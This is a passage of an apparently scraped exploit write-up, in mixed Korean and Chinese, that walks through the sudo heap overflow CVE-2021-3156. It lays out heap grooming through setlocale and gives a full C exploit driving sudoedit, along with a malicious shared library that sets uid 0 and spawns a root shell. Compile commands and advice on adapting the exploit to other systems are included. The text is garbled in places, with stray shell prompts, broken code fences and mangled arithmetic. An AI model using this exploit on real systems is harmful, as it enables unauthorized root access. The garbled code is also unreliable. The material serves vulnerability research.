`mask`는 총 4비트이며, 이 네 개의 플래그 비트를 통해 이번 작업의 파일 이름을 결정합니다. 네 개의 플래그 비트는 대괄호 안의 내용이 존재하는지 여부를 나타냅니다:``` dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename

root@kitploit:~
    
    
    여기서 dir(/usr/lib/locale), language(C), filename(환경 변수 이름)은 모두 고정되어 있으며, 중괄호 안의 내용은 mask 값에 따라 선택적으로 생성됩니다. 예:```
    LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA
    

그렇다면:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀

root@kitploit:~
    
    
    다른 mask에 따라 다음이 생성될 수 있습니다:```
    1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
    0000: /usr/lib/locale/C/LC_IDENTIFICATION
    1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
    0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION
    

由于我们输入的内容本来就不包含国家信息,即`[_territory]` 字段本就为空,那么不管该mask是否为1 都不会有这一字段,这也就造成了不同的mask 最后组成了相同的文件名,也就解释了为什么上面会有遇到相同文件名则释放并返回的操作了。

全部堆分配的原理解析到这里就差不多了,根据实际情况可以具体理解并布局。在我的调试环境里关键只需要知道,**根据输入的环境变量的值进行strdup 操作,最后会将strdup 生成的多个chunk 一口气free 掉。这个操作就是关键所在。**如果遇到更麻烦的环境,就可能要用到根据mask 控制释放的堆块的大小和数量的操作了。

## 漏洞利用实战

回到我的调试环境中:

image-20220123134419470

**我希望将vuln chunk放在target chunk 也就是7号chunk 之前,而不能破坏123456任意一个chunk**

那么堆布局的思路就是:

  1. 由于1246chunk 都是0x20大小的chunk,0x20的chunk 在程序运行中有很多申请操作,会很快消耗掉0x20的tcache,也就是说到 `nss_ parse_file` 函数运行的时候,基本已经没有0x20的tcache 了,再申请只能在topchunk 或small/large/unsorted bin中切割。所以不用关注。

  2. 我们终点关注将3 5号 chunk 和7号chunk之间如何插入一个大小特别的0xX0 的chunk(不会在vuln chunk申请之前呗消耗掉)。大致如图:

image-20220123134611280

  3. **由于整个堆布局过程中参与的chunk 都是setlocale 申请的内存,而setlocale 中的这些东西基本没用,就算覆盖也不会引起崩溃,所以我们的vuln chunk 和target chunk 之间就算不是紧密相连也无妨**

  4. 所以最终我们的思路就是在setlocale申请两个0x40 大小的chunk,再申请一个0xa0大小的chunk(即上面提到的0xX0的chuank),再申请一个0x40的chunk,这样会按照相反的顺序释放,然后再`nss_parse_file` 函数中会按照相同的顺序申请,并且,在`nss_parse_file` 函数中 `getline` 会申请0x80 的chunk 将我们预留的 0xa0 chunk "保护" 起来




接下来就是计算被移除的chunk 和溢出chunk之间的距离:

image-20220123114452223

0x5576b5ac7000-0x5576b5ac69b0=0x650

可以将输入参数总共0xa0 分成两个部分 x 个`\\` (每个是一个独立字符串,占两个字节) 和一个`'a' * y` (y个字符a是一个字符串,占y+1字节),2x+y = 0xa0-0x10 (这里0xa0-0x10是因为我们的vuln chunk是0xa0大小,但实际申请需要小0x10),最后的命令形如 :``` sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"

root@kitploit:~
    
    
    x, y를 계산하여:```
    (x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
    2x+y = 0xa0-0x10
    

첫 번째 등식의 원리는 입력에 여러 개의 `\\`가 있으므로 매번 복사 시 오버플로우가 발생하고, 각 오버플로우는 이전보다 1바이트씩 적어집니다. 그러므로 등차수열을 더하면 간단히 하면 다음과 같습니다:``` (x+y)+(x+2y+1)·x/2=0x650 2x+y = 0x90

root@kitploit:~
    
    
    저는 이렇게 해결했습니다:```
    x=11
    y=121
    

마지막으로 sudoedit 매개변수를 통해 오버플로우할 수 있는 길이는 0x5f9이며, 나머지 부분은 환경 변수의 `\\`로 채우면 됩니다. 환경 변수는 한 번만 복사됩니다. 마지막으로 구조체를 덮어쓸 때 주의할 점은 so 이름 문자열이 구조체 오프셋 0x30 위치에 있으며, 문자열 앞의 구조체 요소는 모두 `\x00`으로 덮어써야 합니다. (이 부분은 자세히 설명하지 않겠습니다. 적절한 오버플로우 길이의 payload를 구성하는 것은 기술적으로 큰 의미가 없으며, 여기서는 주로 일반적인 빠른 계산 방식을 제시합니다.)

그런 다음 위조된 so 라이브러리를 컴파일합니다. 여기서 attribute 매크로로 컴파일된 함수는 바이너리 파일이 로드될 때 자동으로 실행됩니다. 즉, 생성자입니다. exp는 다음과 같습니다:

### exp

제 디버깅 환경에서 exp는 다음과 같습니다:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>

#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }

void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }

int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2 _size-3; signed int c=2_ size-2-offset _2; signed int tmp=b_ b-4 _a_ c; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp _1.0); signed int A=(0-b+tmp)/(2_ a); signed int B=(0-b-tmp)/(2 _a); if(A <0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x_2; int len=x+y+(x+y+y+1)*x/2;

root@kitploit:~
    
    
    while ((signed int)(offset-len)<2)
    {
        x--;
        y=size-1-x*2;
        len=x+y+(x+y+1)*x/2;
        if(x<0)
            return -1;
    }
    int envoff=offset-len-2+0x30;
    printf("%d,%d,%d\n",x,y,len);
    char * Astring=malloc(size);
    int i=0;
    for(i=0;i<y;i++)
        Astring[i]='A';
    Astring[i]='\x00';
    
    argv[argvnow++]="sudoedit";
    argv[argvnow++]="-s";
    for (i=0;i<x;i++)
        argv[argvnow++]="\\";
    argv[argvnow++]=Astring;
    argv[argvnow++]="\\";
    argv[argvnow++]=NULL;
    for(i=0;i<envoff;i++)
        envp[envnow++]="\\";
    envp[envnow++]="X/test";
    return 0;
    

}

int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();

root@kitploit:~
    
    
    execve("/usr/local/bin/sudoedit",argv,envp);
    

}

root@kitploit:~
    
    
    lib.c는 다음과 같습니다:```c
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    static void __attribute__ ((constructor)) _init(void);
    
    static void _init(void) {
            printf("[+] bl1ng bl1ng! We got it!\n");
    #ifndef BRUTE
            setuid(0); seteuid(0); setgid(0); setegid(0);
            static char *a_argv[] = { "sh", NULL };
            static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
            execv("/bin/sh", a_argv);
    #endif
    }
    

컴파일 명령어:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp

root@kitploit:~
    
    
    성공:
    
    image-20220123115529219
    
    ### 특정 환경에 맞게 exp를 수정하는 방법
    
    주로 자신의 연구 및 디버깅을 편리하게 하기 위한 것이며, 실제 공격을 위한 것은 아닙니다. 실제 공격은 여전히 브루트포싱을 권장하며, 환경에 따라 다음 사항을 알아야 합니다:
    
    1. 제어 가능한 vuln 크기, 즉 setlocale 내에 남겨진 free tcache로, vuln이 할당되기 전까지 소비되지 않습니다. 적절한 크기(제 exp의 0xa0에 해당)를 찾아야 합니다.
    2. vuln을 어디에 배치할지, 즉 vuln chunk 앞에 몇 개의 0x40 chunk가 있고 뒤에 몇 개의 0x40 chunk가 있는지(제 exp main 함수의 addChunk 함수들에 해당).
    3. target chunk에서 vuln chunk까지의 거리, 즉 target chunk addr - vuln chunk addr(제 exp의 0x650에 해당).
    
    위의 세 가지 점을 수정하면 기본적으로 높은 확률로 바로 성공할 수 있습니다.
    
    ## 취약점 익스플로잇에 영향을 미치는 요소
    
    힙 레이아웃에 영향을 미치는 요소는 매우 많습니다. 동일한 버전의 sudo라도 컴파일 옵션이 다르면 힙 레이아웃이 변경됩니다 (오버플로우 전에 힙 할당에 관여하는 함수를 추가하거나 제거하기만 해도 매우 높은 확률로 힙 레이아웃이 변경됩니다).
    
    배포판과 직접 컴파일한 sudo의 힙 레이아웃은 모두 다릅니다.
    
    전역 sudo 설정 파일의 차이도 영향을 줍니다.
    
    passwd 등 일반 파일도 영향을 줍니다.
    
    nsswitch.conf 파일의 차이가 영향을 줍니다.
    
    glibc 버전
    
    기타 전역 환경(또는 환경 파일)
    
    ## 완화 조치
    
    최신 버전으로 업그레이드하세요.
    
    ## 몇 가지 디버깅 명령```
    watch rwatch awatch 内存断点
    catch exec
    set follow-exec-mode new 调试exp 的时候捕获子进程
    

service_table 구조체 보기``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···

root@kitploit:~
    
    
    힙 블록 오버플로우 이후 가장 먼저 호출되는 nss 함수를 확인한 후, 먼저 오버플로우 지점에 중단점을 설정합니다:```
    b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
    c
    b sudoers.c:849 #malloc前
    b sudoers.c:859 #溢出chunk 刚申请完毕
    b sudoers.c:867 #溢出完成
    c #断住之后再断nss_load_library
    b nss_load_library 
    c #断nss_load_library
    bt #查看调用栈
    

일부 핵심 함수 및 코드 출``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/

b setlocale b nss_parse_file b nss_load_library

root@kitploit:~
    
    
    ## 참조
    
    회사 내부 고수의 블로그
    
    52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html
    
    blasty's POC: https://github.com/blasty/CVE-2021-3156